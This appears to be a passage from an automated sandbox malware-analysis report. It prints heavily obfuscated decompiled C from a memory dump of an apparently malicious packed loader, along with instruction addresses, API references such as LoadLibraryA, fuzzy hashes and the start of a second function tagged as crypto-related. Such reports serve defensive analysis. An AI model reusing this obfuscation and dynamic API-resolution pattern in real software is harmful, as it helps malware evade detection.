								_t178 = _t384 + 0x41baa6; // 0x836e3a
								_t334 =  *((intOrPtr*)(_t384 + 0x491c078))(_t178);
								 *(_t384 + 0x41b619) =  *(_t384 + 0x41b619) & 0x00000000;
								 *(_t384 + 0x41b619) =  *(_t384 + 0x41b619) | _t500 -  *_t508 ^ _t334;
								_t500 = _t500;
								_t460 = (_t490 & 0x00000000) +  *_t508;
								_t508 =  &(_t508[1]);
								if( *(_t384 + 0x41b197) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t460;
									 *(_t384 + 0x41b197) = _t334;
									_t460 =  *(_t500 - 0x10);
								}
							}
							_t336 = _t334 & 0x00000000 ^ _t416 & 0x00000000 ^  *(_t500 - 0xc);
							_t419 = _t416;
							if( *(_t384 + 0x41b718) == 0) {
								_t369 =  *((intOrPtr*)(_t384 + 0x491c10c))(1, _t336);
								 *(_t384 + 0x41b718) =  *(_t384 + 0x41b718) & 0x00000000;
								 *(_t384 + 0x41b718) =  *(_t384 + 0x41b718) ^ _t500 ^  *_t508 ^ _t369;
								_t500 = _t500;
							}
							_t214 = _t384 + 0x41bb29; // 0x836d98
							_t338 =  *((intOrPtr*)(_t384 + 0x491c078))(_t214,  *(_t500 - 0xc));
							 *(_t500 - 0x10) = _t460;
							 *(_t384 + 0x41bc65) =  *(_t384 + 0x41bc65) & 0x00000000;
							 *(_t384 + 0x41bc65) =  *(_t384 + 0x41bc65) | _t460 & 0x00000000 | _t338;
							_t463 =  *(_t500 - 0x10);
							_t340 = _t338 & 0x00000000 ^ (_t393 ^  *_t508 |  *(_t500 - 8));
							_t393 = _t393;
							if( *(_t384 + 0x41b80d) == 0) {
								_t367 =  *((intOrPtr*)(_t384 + 0x491c108))();
								 *(_t384 + 0x41b80d) =  *(_t384 + 0x41b80d) & 0x00000000;
								 *(_t384 + 0x41b80d) =  *(_t384 + 0x41b80d) ^ (_t500 -  *_t508 | _t367);
								_t500 = _t500;
								 *_t229 = _t340;
								_t340 = _t367 & 0x00000000 |  *(_t500 - 0x10);
							}
							_push(_t340);
							if( *(_t384 + 0x41b233) == 0) {
								_t366 =  *((intOrPtr*)(_t384 + 0x491c108))();
								 *(_t384 + 0x41b233) =  *(_t384 + 0x41b233) & 0x00000000;
								 *(_t384 + 0x41b233) =  *(_t384 + 0x41b233) ^ _t463 & 0x00000000 ^ _t366;
								_t463 = _t463; // executed
							}
							_t341 = GetProcAddress();
							if( *(_t384 + 0x41b9e8) == 0) {
								_t239 = _t384 + 0x41b56d; // 0x8367dc
								_t364 = _t239;
								 *_t364 = 0x30;
								_t365 =  *((intOrPtr*)(_t384 + 0x491c104))(_t364, _t341);
								 *(_t384 + 0x41b9e8) =  *(_t384 + 0x41b9e8) & 0x00000000;
								 *(_t384 + 0x41b9e8) =  *(_t384 + 0x41b9e8) ^ _t463 & 0x00000000 ^ _t365;
								_t463 = _t463;
								 *_t245 = 0;
								_t341 =  *(_t500 - 0x10);
							}
							_push(_t463);
							if( *(_t384 + 0x41bb2c) == 0) {
								_t362 =  *((intOrPtr*)(_t384 + 0x491c074))();
								 *(_t384 + 0x41bb2c) =  *(_t384 + 0x41bb2c) & 0x00000000;
								 *(_t384 + 0x41bb2c) =  *(_t384 + 0x41bb2c) ^ _t393 -  *_t508 ^ _t362;
								_t393 = _t393;
								 *_t253 = _t341;
								_t341 = _t362 & 0x00000000 ^  *(_t500 - 0x10);
							}
							 *(_t500 - 0x10) = _t384;
							_t384 =  *(_t500 - 0x10);
							_t258 = _t384 + 0x41b0e9; // 0x41b0e9
							_t343 =  *((intOrPtr*)(_t384 + 0x491c078))(_t341);
							 *(_t500 - 0x10) = 0 ^  *(_t500 - 4);
							 *((intOrPtr*)(_t384 + 0x41b223)) = _t343;
							_t467 =  *(_t500 - 0x10);
							 *_t263 = _t258;
							 *_t508 = _t419;
							 *_t467 = 0 ^  *(_t500 - 0x10);
							_t422 = 0;
							if( *((intOrPtr*)(_t384 + 0x41b1e3)) == 0) {
								 *_t267 =  *((intOrPtr*)(_t384 + 0x491c10c))(_t467, 0xffffffff);
								 *_t269 =  *(_t500 - 0x10);
							}
							_pop( *_t270);
							_t469 = (_t467 & 0x00000000) +  *(_t500 - 0x10);
							if( *((intOrPtr*)(_t384 + 0x41b61d)) == 0) {
								_t273 = _t384 + 0x41b89c; // 0x41b89c
								_t359 = _t273;
								 *_t359 = 0x30;
								_push( *((intOrPtr*)(_t384 + 0x491c104))( *((intOrPtr*)(_t384 + 0x41b141)), _t359));
								_pop( *_t276);
								_push( *(_t500 - 0x10));
								_pop( *_t278);
							}
							 *_t508 = 4;
							_t345 = _t422;
							if( *(_t384 + 0x41bafa) == 0) {
								_t357 =  *((intOrPtr*)(_t384 + 0x491c108))(_t345);
								 *(_t384 + 0x41bafa) =  *(_t384 + 0x41bafa) & 0x00000000;
								 *(_t384 + 0x41bafa) =  *(_t384 + 0x41bafa) | _t393 & 0x00000000 ^ _t357;
								_t393 = _t393;
								_t345 =  *_t508;
								_t508 = _t508 - 0xfffffffc;
							}
							_t460 = _t469 + _t345;
							if( *((intOrPtr*)(_t384 + 0x41bba6)) == 0) {
								 *_t287 =  *((intOrPtr*)(_t384 + 0x491c07c))(0x1cc, _t345);
								 *_t289 =  *(_t500 - 0x10);
								_t345 = 0 ^  *_t508;
								_t508 = _t508 - 0xfffffffc;
							}
							 *(_t500 - 4) =  *(_t500 - 4) + _t345;
							_t292 = _t384 + 0x41bb97; // 0x41bb97
							_t334 =  *((intOrPtr*)(_t384 + 0x491c078))(_t292);
							 *(_t500 - 0x10) = _t422;
							 *(_t384 + 0x41bb30) = _t334;
							_t416 =  *(_t500 - 0x10);
						} while ( *_t460 != 0);
						if( *(_t384 + 0x41ba8a) == 0) {
							_t329 =  *((intOrPtr*)(_t384 + 0x491c110))(0xfffff91d);
							 *(_t384 + 0x41ba8a) =  *(_t384 + 0x41ba8a) & 0x00000000;
							 *(_t384 + 0x41ba8a) =  *(_t384 + 0x41ba8a) | _t460 ^  *_t508 | _t329;
							_t454 = _t460;
						}
						_t443 = _t443 + 0x14;
						_t387 = _t393;
						if( *(_t384 + 0x41b1eb) == 0) {
							_t329 =  *((intOrPtr*)(_t384 + 0x491c0fc))( *((intOrPtr*)(_t384 + 0x41b0f9)));
							 *_t508 = _t416;
							 *(_t384 + 0x41b1eb) = _t329;
							_t416 = 0;
						}
						if( *_t443 != 0) {
							L1:
							if( *_t443 != 0) {
								goto L7;
							} else {
								if( *(_t384 + 0x41b2ab) == 0) {
									_t329 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t416;
									 *(_t384 + 0x41b2ab) =  *(_t384 + 0x41b2ab) & 0x00000000;
									 *(_t384 + 0x41b2ab) =  *(_t384 + 0x41b2ab) | _t416 & 0x00000000 | _t329;
									_t416 =  *(_t500 - 0x10);
								}
								 *(_t500 - 0x10) = _t416;
								_t21 = _t443 + 0x10; // 0x83e41433
								_t456 = _t460 & 0x00000000 | _t416 & 0x00000000 ^  *_t21;
								_t416 =  *(_t500 - 0x10);
								if( *(_t384 + 0x41b734) == 0) {
									_t329 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b34c)), 0);
									 *(_t500 - 0x10) = _t456;
									 *(_t384 + 0x41b734) = _t329;
									_t456 =  *(_t500 - 0x10);
								}
								_t41 = _t443 + 0x10; // 0x83e41433
								_push( *_t41);
								if( *(_t381 + 0x41b4dd) == 0) {
									_t329 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bb1a)), 0);
									 *(_t500 - 0x10) = _t387;
									 *(_t381 + 0x41b4dd) = 0 ^ _t329;
									_t387 =  *(_t500 - 0x10);
								}
								_pop( *_t48);
								if( *((intOrPtr*)(_t381 + 0x41bb8c)) == 0) {
									_t329 =  *((intOrPtr*)(_t381 + 0x491c07c))( *((intOrPtr*)(_t381 + 0x41bae2)));
									 *_t52 = _t329;
									_push( *(_t500 - 0x10));
									_pop( *_t54);
								}
								 *(_t500 - 0x10) = _t387;
								_t331 = _t329 & 0x00000000 | _t387 ^  *(_t500 - 0x10) ^  *(_t500 + 8);
								_t390 =  *(_t500 - 0x10);
								if( *(_t381 + 0x41b609) == 0) {
									_t376 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bc31)), _t443, _t331);
									 *(_t500 - 0x10) = _t443;
									 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) & 0x00000000;
									 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) | _t443 ^  *(_t500 - 0x10) | _t376;
									_t443 =  *(_t500 - 0x10);
									_t331 =  *_t508;
									_t508 = _t508 - 0xfffffffc;
								}
								 *(_t500 - 4) =  *(_t500 - 4) + _t331;
								if( *(_t381 + 0x41b9a3) == 0) {
									_t375 =  *((intOrPtr*)(_t381 + 0x491c074))();
									 *(_t500 - 0x10) = _t443;
									 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) & 0x00000000;
									 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) | _t443 ^  *(_t500 - 0x10) ^ _t375;
									_t443 =  *(_t500 - 0x10);
								}
								_t80 = _t443 + 0xc; // 0xd229fcec
								_t392 = _t390 & 0x00000000 ^ (_t381 ^  *_t508 |  *_t80);
								_t384 = _t381;
								if( *((intOrPtr*)(_t384 + 0x41b0c8)) == 0) {
									 *_t83 =  *((intOrPtr*)(_t384 + 0x491c074))(_t392);
									 *_t85 =  *(_t500 - 0x10);
									_t392 =  *_t508;
									_t508 =  &(_t508[1]);
								}
								_t393 = _t392 +  *(_t500 + 8);
								if( *(_t384 + 0x41b5e5) == 0) {
									_t373 =  *((intOrPtr*)(_t384 + 0x491c100))(_t393, _t393);
									 *(_t500 - 0x10) = _t456;
									 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) & 0x00000000;
									 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) | _t456 ^  *(_t500 - 0x10) | _t373;
									_t456 =  *(_t500 - 0x10);
									 *_t96 = 0;
									_t393 = (_t393 & 0x00000000) +  *(_t500 - 0x10);
								}
								_t457 = _t456 +  *(_t500 + 8);
								if( *((intOrPtr*)(_t384 + 0x41bc92)) == 0) {
									_t372 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t393;
									 *((intOrPtr*)(_t384 + 0x41bc92)) = _t372;
									 *_t104 = _t393;
									_t393 =  *(_t500 - 0x10) & 0x00000000 |  *(_t500 - 0x10);
								}
								_t106 = _t384 + 0x41ba21; // 0x836db5
								_t333 =  *((intOrPtr*)(_t384 + 0x491c078))(_t393);
								 *(_t500 - 0x10) = _t457;
								 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) & 0x00000000;
								 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) ^ (_t457 ^  *(_t500 - 0x10) | _t333);
								_t460 =  *(_t500 - 0x10);
								_t334 = LoadLibraryA(_t106);
								if( *(_t384 + 0x41b963) == 0) {
									_t370 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0c4)), 0xffffffff, _t334);
									 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) & 0x00000000;
									 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) ^ _t416 -  *_t508 ^ _t370;
									_t416 = _t416;
									_pop( *_t123);
									_t334 = (_t370 & 0x00000000) +  *(_t500 - 0x10);
								}
								 *_t125 = _t334;
								 *_t127 =  *(_t500 - 0x10);
								if( *(_t384 + 0x41b933) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t443;
									 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) & 0x00000000;
									 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) ^ _t443 -  *(_t500 - 0x10) ^ _t334;
									_t443 =  *(_t500 - 0x10);
								}
								goto L27;
							}
						} else {
							if( *(_t384 + 0x41bac5) == 0) {
								_t329 =  *((intOrPtr*)(_t384 + 0x491c07c))( *((intOrPtr*)(_t384 + 0x41b1d7)));
								 *(_t384 + 0x41bac5) =  *(_t384 + 0x41bac5) & 0x00000000;
								 *(_t384 + 0x41bac5) =  *(_t384 + 0x41bac5) | _t387 & 0x00000000 | _t329;
								_t387 = _t387;
							}
							if( *(_t443 + 0x10) != 0) {
								goto L1;
							} else {
								if( *(_t384 + 0x41bbf6) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c100))( *((intOrPtr*)(_t384 + 0x41bc6d)),  *((intOrPtr*)(_t384 + 0x41bc02)));
									 *(_t500 - 0x10) = _t416;
									 *(_t384 + 0x41bbf6) =  *(_t384 + 0x41bbf6) & 0x00000000;
									 *(_t384 + 0x41bbf6) =  *(_t384 + 0x41bbf6) ^ _t416 & 0x00000000 ^ _t334;
									_t416 =  *(_t500 - 0x10);
								}
								 *_t325 = _t416;
								_pop( *_t327);
								return _t334 ^ _t334;
							}
						}
					}
				}
			}

0x04b24822
0x04b24822
0x04b24822
0x04b24827
0x04b2482a
0x04b24830
0x04b24836
0x04b2483c
0x04b24844
0x04b2484b
0x04b24851
0x04b24854
0x04b24854
0x04b24854
0x04b2485f
0x04b24861
0x04b2486b
0x04b24879
0x04b2487f
0x04b24887
0x04b2488e
0x04b24894
0x04b24894
0x04b24897
0x04b24897
0x04b24897
0x04b248a1
0x04b248ab
0x04b248b1
0x04b248b8
0x04b248be
0x04b248be
0x04b248c1
0x04b248cb
0x04b248d3
0x04b248da
0x04b248dd
0x04b248e0
0x04b248e0
0x04b248e6
0x04b248f2
0x04b248f4
0x04b248fe
0x04b24908
0x04b2490e
0x04b24916
0x04b2491d
0x04b24923
0x04b24928
0x04b2492b
0x04b2492b
0x04b2492e
0x04b24938
0x04b2493a
0x04b24940
0x04b24948
0x04b2494f
0x04b24955
0x04b24955
0x04b2495c
0x04b24962
0x04b24964
0x04b2496c
0x04b24976
0x04b2497c
0x04b24984
0x04b24987
0x04b24987
0x04b2498a
0x04b24994
0x04b2499a
0x04b249a0
0x04b249a8
0x04b249af
0x04b249b5
0x04b249be
0x04b249c1
0x04b249c1
0x04b249c4
0x04b249ce
0x04b249d1
0x04b249d7
0x04b249de
0x04b249ed
0x04b249f0
0x04b249f0
0x04b249f4
0x04b249fb
0x04b24a01
0x04b24a09
0x04b24a10
0x04b24a16
0x04b24a19
0x04b24a26
0x04b24a31
0x04b24a3d
0x04b24a44
0x04b24a4a
0x04b24a51
0x04b24a54
0x04b24a54
0x04b24a58
0x04b24a5e
0x04b24a68
0x04b24a6a
0x04b24a70
0x04b24a78
0x04b24a7f
0x04b24a85
0x04b24a85
0x04b24a88
0x04b24a88
0x04b24a8e
0x04b24bdc
0x04b24be5
0x04b24be7
0x04b24bee
0x04b24bf4
0x04b24bf4
0x04b24bfa
0x04b24c04
0x04b24c07
0x04b24c0f
0x04b24c16
0x04b24c1c
0x04b24c1c
0x04b24c1d
0x04b24c2b
0x04b24c34
0x04b24c3b
0x04b24c3e
0x04b24c41
0x04b24c41
0x04b24a94
0x04b24a94
0x04b24a9b
0x04b24aa1
0x04b24aa9
0x04b24ab0
0x04b24ab6
0x04b24ab9
0x04b24ac1
0x04b24acb
0x04b24ad7
0x04b24ade
0x04b24ae4
0x04b24ae4
0x04b24ae5
0x04b24aee
0x04b24af1
0x04b24af7
0x04b24aff
0x04b24b06
0x04b24b0c
0x04b24b0c
0x04b24b0f
0x04b24b19
0x04b24b1b
0x04b24b21
0x04b24b28
0x04b24b2e
0x04b24b2e
0x04b24b3a
0x04b24b3c
0x04b24b44
0x04b24b47
0x04b24b53
0x04b24b5a
0x04b24b60
0x04b24b60
0x04b24b67
0x04b24b6b
0x04b24b6e
0x04b24b6f
0x04b24b76
0x04b24b82
0x04b24b89
0x04b24b8f
0x04b24b96
0x04b24b99
0x04b24ba3
0x04b24ba5
0x04b24bab
0x04b24bb2
0x04b24bb8
0x04b24bb8
0x04b24bbb
0x04b24c51
0x04b24c53
0x04b24c5b
0x04b24c60
0x04b24c6c
0x04b24c73
0x04b24c79
0x04b24c79
0x04b24c7d
0x04b24c84
0x04b24c8a
0x04b24c92
0x04b24c99
0x04b24c9f
0x04b24cac
0x04b24cae
0x04b24cb6
0x04b24cb9
0x04b24cc5
0x04b24ccc
0x04b24cd2
0x04b24cd9
0x04b24cdc
0x04b24cdc
0x04b24cdf
0x04b24ce7
0x04b24ce9
0x04b24cf5
0x04b24cfc
0x04b24d02
0x04b24d02
0x04b24d03
0x04b24d10
0x04b24d13
0x04b24d13
0x04b24d1a
0x04b24d22
0x04b24d2e
0x04b24d35
0x04b24d3b
0x04b24d3c
0x04b24d3f
0x04b24d3f
0x04b24d42
0x04b24d4a
0x04b24d4d
0x04b24d59
0x04b24d60
0x04b24d66
0x04b24d6d
0x04b24d70
0x04b24d70
0x04b24d73
0x04b24d7d
0x04b24d81
0x04b24d88
0x04b24d8e
0x04b24d95
0x04b24d9b
0x04b24d9e
0x04b24da6
0x04b24dad
0x04b24daf
0x04b24db7
0x04b24dc3
0x04b24dc9
0x04b24dc9
0x04b24dd5
0x04b24dd8
0x04b24de2
0x04b24de4
0x04b24de4
0x04b24deb
0x04b24dfd
0x04b24dfe
0x04b24e01
0x04b24e04
0x04b24e04
0x04b24e0b
0x04b24e12
0x04b24e1a
0x04b24e1d
0x04b24e29
0x04b24e30
0x04b24e36
0x04b24e39
0x04b24e3c
0x04b24e3c
0x04b24e3f
0x04b24e48
0x04b24e57
0x04b24e5d
0x04b24e65
0x04b24e68
0x04b24e68
0x04b24e6b
0x04b24e6e
0x04b24e75
0x04b24e7b
0x04b24e82
0x04b24e88
0x04b24e8b
0x04b24e9b
0x04b24ea2
0x04b24eae
0x04b24eb5
0x04b24ebb
0x04b24ebb
0x04b24ec5
0x04b24ec7
0x04b24ecf
0x04b24ed7
0x04b24edf
0x04b24ee6
0x04b24eec
0x04b24eec
0x04b24ef0
0x04b247b7
0x04b247ba
0x00000000
0x04b247c0
0x04b247c7
0x04b247c9
0x04b247cf
0x04b247d7
0x04b247de
0x04b247e4
0x04b247e4
0x04b247e7
0x04b247ed
0x04b247f3
0x04b247f5
0x04b247ff
0x04b24809
0x04b2480f
0x04b24816
0x04b2481c
0x04b2481c
0x04b24897
0x04b24897
0x04b248a1
0x04b248ab
0x04b248b1
0x04b248b8
0x04b248be
0x04b248be
0x04b248c1
0x04b248cb
0x04b248d3
0x04b248da
0x04b248dd
0x04b248e0
0x04b248e0
0x04b248e6
0x04b248f2
0x04b248f4
0x04b248fe
0x04b24908
0x04b2490e
0x04b24916
0x04b2491d
0x04b24923
0x04b24928
0x04b2492b
0x04b2492b
0x04b2492e
0x04b24938
0x04b2493a
0x04b24940
0x04b24948
0x04b2494f
0x04b24955
0x04b24955
0x04b2495c
0x04b24962
0x04b24964
0x04b2496c
0x04b24976
0x04b2497c
0x04b24984
0x04b24987
0x04b24987
0x04b2498a
0x04b24994
0x04b2499a
0x04b249a0
0x04b249a8
0x04b249af
0x04b249b5
0x04b249be
0x04b249c1
0x04b249c1
0x04b249c4
0x04b249ce
0x04b249d1
0x04b249d7
0x04b249de
0x04b249ed
0x04b249f0
0x04b249f0
0x04b249f4
0x04b249fb
0x04b24a01
0x04b24a09
0x04b24a10
0x04b24a16
0x04b24a19
0x04b24a26
0x04b24a31
0x04b24a3d
0x04b24a44
0x04b24a4a
0x04b24a51
0x04b24a54
0x04b24a54
0x04b24a58
0x04b24a5e
0x04b24a68
0x04b24a6a
0x04b24a70
0x04b24a78
0x04b24a7f
0x04b24a85
0x04b24a85
0x00000000
0x04b24a68
0x04b24ef6
0x04b24efd
0x04b24f05
0x04b24f11
0x04b24f18
0x04b24f1e
0x04b24f1e
0x04b24f23
0x00000000
0x04b24f29
0x04b24f30
0x04b24f3e
0x04b24f44
0x04b24f4c
0x04b24f53
0x04b24f59
0x04b24f59
0x04b24f66
0x04b24f6e
0x04b24f75
0x04b24f75
0x04b24f23
0x04b24ef0
0x04b24897

APIs

LoadLibraryA.KERNELBASE ref: 04B24A19

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction ID: ff8dd65f6fdcf71810e308e6559b0a54f879e87e2e088dbcc566d3067d698099
Opcode Fuzzy Hash: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction Fuzzy Hash: 37229E72814225DFEF04CFA0C9897EA7BB0FF04311F0985A9DD29AE19AC7741460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 04B228A5, Relevance: 2.3, APIs: 1, Instructions: 840
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 57%

			E04B228A5(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t485;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t491;
				intOrPtr _t493;
				signed int _t495;
				signed int _t496;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				intOrPtr* _t502;
				signed int _t503;
				intOrPtr* _t504;
				intOrPtr _t505;
				signed int _t506;
				signed int _t507;
				signed int _t509;
				signed int _t512;
				signed int _t514;
				signed int _t517;
				void* _t518;
				intOrPtr* _t519;
				signed int _t520;
				intOrPtr* _t523;
				intOrPtr _t524;
				signed int _t525;
				signed int _t526;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				intOrPtr* _t533;
				signed int _t534;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				intOrPtr _t542;
				signed int _t543;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t553;
				signed int _t554;
				signed int _t556;
				intOrPtr* _t557;
				intOrPtr _t558;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				void* _t566;
				signed int _t569;
				signed int _t572;
				signed int _t577;
				signed int _t581;
				signed int _t584;
				signed int _t587;
				int _t590;
				signed int _t612;
				signed int _t623;
				signed int _t628;
				signed int _t633;
				signed int _t671;
				signed int _t674;
				signed int _t688;
				signed int _t690;
				intOrPtr _t691;
				signed int _t694;
				void* _t696;
				signed int _t697;
				intOrPtr _t698;
				void* _t699;
				signed int _t703;
				signed int _t705;
				signed int _t708;
				signed int _t716;
				signed int _t731;
				signed int _t734;
				signed int _t736;
				void* _t739;
				void* _t740;
				signed int _t746;
				signed int _t748;
				signed int _t763;
				signed int _t766;
				signed int* _t778;
				signed int* _t779;
				signed int* _t782;
				signed int* _t783;

				_t731 = __esi;
				_t688 = __edi;
				_t626 = __edx;
				_t578 = __ecx;
				_t563 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x41b66c)) == 0) {
					_push(__ecx);
					_push(__edx);
					_push( *((intOrPtr*)(__ebx + 0x41b8f8)));
					_t485 =  *((intOrPtr*)(__ebx + 0x491c10c))();
					 *_t4 = _t485;
					_push(_v16);
					_pop( *_t6);
					 *_t7 = 0;
					_t626 = 0 + _v16;
					_pop( *_t9);
					_t578 = _v12;
				}
				if( *(_t563 + 0x41bb0e) != 0) {
					L17:
					_push(_t626);
					if( *((intOrPtr*)(_t563 + 0x41b809)) == 0) {
						_t485 =  *((intOrPtr*)(_t563 + 0x491c100))( *((intOrPtr*)(_t563 + 0x41b70c)),  *((intOrPtr*)(_t563 + 0x41baad)), _t578);
						 *_t94 = _t485;
						_push(_v12);
						_pop( *_t96);
						_pop( *_t97);
						_t578 = _t578 & 0x00000000 ^ _v12;
					}
					if( *(_t563 + 0x41b4a8) == 0) {
						if( *(_t563 + 0x41b778) == 0) {
							_t554 =  *((intOrPtr*)(_t563 + 0x491c10c))(_t763, _t578);
							_v12 = _t626;
							 *(_t563 + 0x41b778) =  *(_t563 + 0x41b778) & 0x00000000;
							 *(_t563 + 0x41b778) =  *(_t563 + 0x41b778) ^ (_t626 - _v12 | _t554);
							_t626 = _v12;
							 *_t109 = _t485;
							_t578 = _v12;
						}
						_push(_t578);
						if( *(_t563 + 0x41b1fb) == 0) {
							_t553 =  *((intOrPtr*)(_t563 + 0x491c0fc))( *((intOrPtr*)(_t563 + 0x41bd53)));
							_v12 = _t626;
							 *(_t563 + 0x41b1fb) =  *(_t563 + 0x41b1fb) & 0x00000000;
							 *(_t563 + 0x41b1fb) =  *(_t563 + 0x41b1fb) | _t626 - _v12 | _t553;
							_t626 = _v12;
						}
						_t485 =  *((intOrPtr*)(_t563 + 0x491c108))();
						_v16 = _t626;
						 *(_t563 + 0x41b4a8) =  *(_t563 + 0x41b4a8) & 0x00000000;
						 *(_t563 + 0x41b4a8) =  *(_t563 + 0x41b4a8) ^ (_t626 ^ _v16 | _t485);
						_t626 = _v16;
						_pop( *_t129);
						_t578 = 0 ^ _v16;
					}
					_push(_t578);
					if( *(_t563 + 0x41ba56) == 0) {
						_t485 =  *((intOrPtr*)(_t563 + 0x491c10c))(_t688,  *((intOrPtr*)(_t563 + 0x41b227)));
						_v16 = _t688;
						 *(_t563 + 0x41ba56) =  *(_t563 + 0x41ba56) & 0x00000000;
						 *(_t563 + 0x41ba56) =  *(_t563 + 0x41ba56) | _t688 - _v16 | _t485;
						_t688 = _v16;
					}
					_t487 = _t485 & 0x00000000 ^ (_t563 & 0x00000000 | _a4);
					_t566 = _t563;
					if( *(_t566 + 0x41b33f) == 0) {
						_t551 =  *((intOrPtr*)(_t566 + 0x491c110))(_t778, _t487);
						_v12 = _t688;
						 *(_t566 + 0x41b33f) =  *(_t566 + 0x41b33f) & 0x00000000;
						 *(_t566 + 0x41b33f) =  *(_t566 + 0x41b33f) | _t688 ^ _v12 ^ _t551;
						_t688 = _v12;
						_t487 = _t551 & 0x00000000 |  *_t778;
						_t778 =  &(_t778[1]);
					}
					_t488 = _t487 +  *((intOrPtr*)(_t487 + 0x3c));
					if( *((intOrPtr*)(_t566 + 0x41b8d4)) == 0) {
						 *_t154 =  *((intOrPtr*)(_t566 + 0x491c07c))(_t731, _t488);
						_push(_v12);
						_pop( *_t156);
						_t488 = 0 ^  *_t778;
						_t778 =  &(_t778[1]);
					}
					_push(_t488);
					if( *((intOrPtr*)(_t566 + 0x41b811)) == 0) {
						 *_t160 =  *((intOrPtr*)(_t566 + 0x491c0fc))(_t488);
						_push(_v16);
						_pop( *_t162);
						 *_t163 =  *((intOrPtr*)(_t566 + 0x41bb06));
						_t488 = _v12;
					}
					_t690 = _t688 & 0x00000000 ^ (_t578 & 0x00000000 | _t488);
					_t581 = _t578;
					if( *(_t566 + 0x41b186) == 0) {
						_t546 =  *((intOrPtr*)(_t566 + 0x491c074))();
						 *(_t566 + 0x41b186) =  *(_t566 + 0x41b186) & 0x00000000;
						 *(_t566 + 0x41b186) =  *(_t566 + 0x41b186) | _t690 ^  *_t778 | _t546;
						_t690 = _t690;
					}
					_t489 =  *(_t690 + 6) & 0x0000ffff;
					if( *(_t566 + 0x41bd07) == 0) {
						_t544 =  *((intOrPtr*)(_t566 + 0x491c110))(0xfffff9f9, _t489);
						_v16 = _t581;
						 *(_t566 + 0x41bd07) =  *(_t566 + 0x41bd07) & 0x00000000;
						 *(_t566 + 0x41bd07) =  *(_t566 + 0x41bd07) ^ _t581 - _v16 ^ _t544;
						_t581 = _v16;
						_t489 = 0 ^  *_t778;
						_t778 =  &(_t778[1]);
					}
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 ^ (_t566 -  *_t778 | _t489);
					_t569 = _t566;
					if( *(_t569 + 0x41b0b4) == 0) {
						_t543 =  *((intOrPtr*)(_t569 + 0x491c110))(0xd7);
						_v12 = _t731;
						 *(_t569 + 0x41b0b4) = 0 ^ _t543;
						_t731 = _v12;
					}
					_t491 =  *((intOrPtr*)(_t569 + 0x491c078))(_t569 + 0x41b845, _t690);
					_v16 = _t581;
					 *(_t569 + 0x41b4c9) =  *(_t569 + 0x41b4c9) & 0x00000000;
					 *(_t569 + 0x41b4c9) =  *(_t569 + 0x41b4c9) ^ _t581 - _v16 ^ _t491;
					_t584 = _v16;
					_v12 = _t584;
					_t628 = _t626 & 0x00000000 | _t584 & 0x00000000 |  *(_t690 + 0x54);
					_t587 = _v12;
					_t493 =  *((intOrPtr*)(_t569 + 0x491c078))(_t569 + 0x41b0d0, _t628);
					 *_t778 = _t731;
					 *((intOrPtr*)(_t569 + 0x41bb84)) = _t493;
					_t734 = 0;
					_pop( *_t205);
					_v16 = _t628 & 0x00000000 | _v16;
					_t691 =  *((intOrPtr*)(_t569 + 0x41b1df));
					_t633 = _v16;
					if( *((intOrPtr*)(_t569 + 0x41b0f5)) == 0) {
						_t542 =  *((intOrPtr*)(_t569 + 0x491c0fc))( *((intOrPtr*)(_t569 + 0x41b33b)), _t633);
						 *_t778 = _t587;
						 *((intOrPtr*)(_t569 + 0x41b0f5)) = _t542;
						_t587 = 0;
						_pop( *_t214);
						_t633 = 0 + _v12;
					}
					_t736 = _t734 & 0x00000000 | _t691 -  *_t778 | _a4;
					_t694 = _t691;
					if( *(_t569 + 0x41b465) == 0) {
						_t541 =  *((intOrPtr*)(_t569 + 0x491c07c))(_t633);
						 *(_t569 + 0x41b465) =  *(_t569 + 0x41b465) & 0x00000000;
						 *(_t569 + 0x41b465) =  *(_t569 + 0x41b465) | _t694 ^  *_t778 ^ _t541;
						_t694 = _t694;
						 *_t223 = _t778;
